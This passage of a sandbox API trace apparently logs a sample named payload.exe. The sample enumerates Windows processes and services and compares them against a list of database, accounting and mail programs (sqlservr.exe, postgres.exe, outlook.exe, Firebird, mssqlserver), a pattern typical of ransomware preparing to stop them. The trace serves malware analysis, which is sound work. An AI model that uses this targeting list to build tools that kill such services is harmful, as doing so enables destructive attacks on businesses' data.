returned 1 [0085.675] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0085.675] lstrlenW (lpString="System") returned 6 [0085.675] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0085.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0085.675] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0085.675] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0085.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0085.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0085.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0085.675] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0085.676] lstrlenW (lpString="smss.exe") returned 8 [0085.676] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0085.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0085.676] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0085.676] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0085.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0085.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0085.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0085.676] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0085.676] lstrlenW (lpString="csrss.exe") returned 9 [0085.676] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0085.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0085.676] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0085.676] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0085.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0085.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0085.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0085.676] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0085.677] lstrlenW (lpString="wininit.exe") returned 11 [0085.677] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0085.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0085.677] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0085.677] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0085.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0085.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0085.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0085.677] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0085.677] lstrlenW (lpString="csrss.exe") returned 9 [0085.677] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0085.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0085.677] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0085.677] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0085.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0085.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0085.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0085.677] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0085.677] lstrlenW (lpString="winlogon.exe") returned 12 [0085.677] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0085.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0085.677] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0085.677] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0085.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0085.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0085.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0085.677] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0085.678] lstrlenW (lpString="services.exe") returned 12 [0085.678] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0085.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0085.678] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0085.678] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0085.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0085.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0085.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0085.678] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0085.678] lstrlenW (lpString="lsass.exe") returned 9 [0085.678] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0085.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0085.678] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0085.678] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0085.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0085.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0085.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0085.678] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0085.678] lstrlenW (lpString="lsm.exe") returned 7 [0085.678] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0085.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0085.678] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0085.678] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0085.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0085.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0085.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0085.679] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.679] lstrlenW (lpString="svchost.exe") returned 11 [0085.679] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0085.679] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.679] lstrlenW (lpString="svchost.exe") returned 11 [0085.679] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0085.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0085.679] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.679] lstrlenW (lpString="svchost.exe") returned 11 [0085.679] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0085.680] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.680] lstrlenW (lpString="svchost.exe") returned 11 [0085.680] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0085.680] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.680] lstrlenW (lpString="svchost.exe") returned 11 [0085.680] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0085.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0085.680] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0085.681] lstrlenW (lpString="audiodg.exe") returned 11 [0085.681] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0085.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0085.681] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0085.681] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0085.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0085.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0085.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0085.681] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.681] lstrlenW (lpString="svchost.exe") returned 11 [0085.681] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0085.681] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.681] lstrlenW (lpString="svchost.exe") returned 11 [0085.681] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0085.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0085.681] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0085.682] lstrlenW (lpString="LogonUI.exe") returned 11 [0085.682] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0085.682] lstrlenW (lpString="userinit.exe") returned 12 [0085.682] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0085.682] lstrlenW (lpString="dwm.exe") returned 7 [0085.682] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0085.682] lstrlenW (lpString="explorer.exe") returned 12 [0085.682] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0085.683] lstrlenW (lpString="spoolsv.exe") returned 11 [0085.683] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0085.683] lstrlenW (lpString="taskhost.exe") returned 12 [0085.683] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.683] lstrlenW (lpString="svchost.exe") returned 11 [0085.683] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0085.683] lstrlenW (lpString="payload.exe") returned 11 [0085.683] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0085.684] lstrlenW (lpString="reader_sl.exe") returned 13 [0085.684] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0085.684] lstrlenW (lpString="cmd.exe") returned 7 [0085.684] Process32NextW (in: hSnapshot=0x118, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0085.684] CloseHandle (hObject=0x118) returned 1 [0085.684] Sleep (dwMilliseconds=0x1f4) [0086.269] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x525e48 [0086.321] EnumServicesStatusExW (in: hSCManager=0x525e48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0086.321] GetLastError () returned 0xea [0086.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xacc) returned 0x55e870 [0086.321] EnumServicesStatusExW (in: hSCManager=0x525e48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e870, cbBufSize=0xacc, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e870, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0086.322] CloseServiceHandle (hSCObject=0x525e48) returned 1 [0086.322] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0086.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0086.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0086.322] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0086.322] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0086.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0086.322] lstrlenW (lpString="AudioSrv") returned 8 [0086.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0086.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0086.322] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0086.322] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0086.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0086.322] lstrlenW (lpString="BFE") returned 3 [0086.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0086.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0086.322] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0086.322] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0086.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0086.322] lstrlenW (lpString="CscService") returned 10 [0086.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0086.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0086.322] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0086.322] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0086.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0086.322] lstrlenW (lpString="DcomLaunch") returned 10 [0086.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0086.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0086.323] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0086.323] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0086.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0086.323] lstrlenW (lpString="Dhcp") returned 4 [0086.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0086.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0086.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0086.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0086.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0086.323] lstrlenW (lpString="Dnscache") returned 8 [0086.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0086.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0086.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0086.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0086.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0086.323] lstrlenW (lpString="eventlog") returned 8 [0086.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0086.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0086.323] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0086.323] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0086.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0086.323] lstrlenW (lpString="EventSystem") returned 11 [0086.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0086.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0086.323] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0086.323] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0086.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0086.323] lstrlenW (lpString="gpsvc") returned 5 [0086.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0086.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0086.323] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0086.323] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0086.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0086.323] lstrlenW (lpString="LanmanWorkstation") returned 17 [0086.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0086.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0086.323] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0086.323] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0086.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0086.323] lstrlenW (lpString="lmhosts") returned 7 [0086.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0086.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0086.323] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0086.323] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0086.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0086.323] lstrlenW 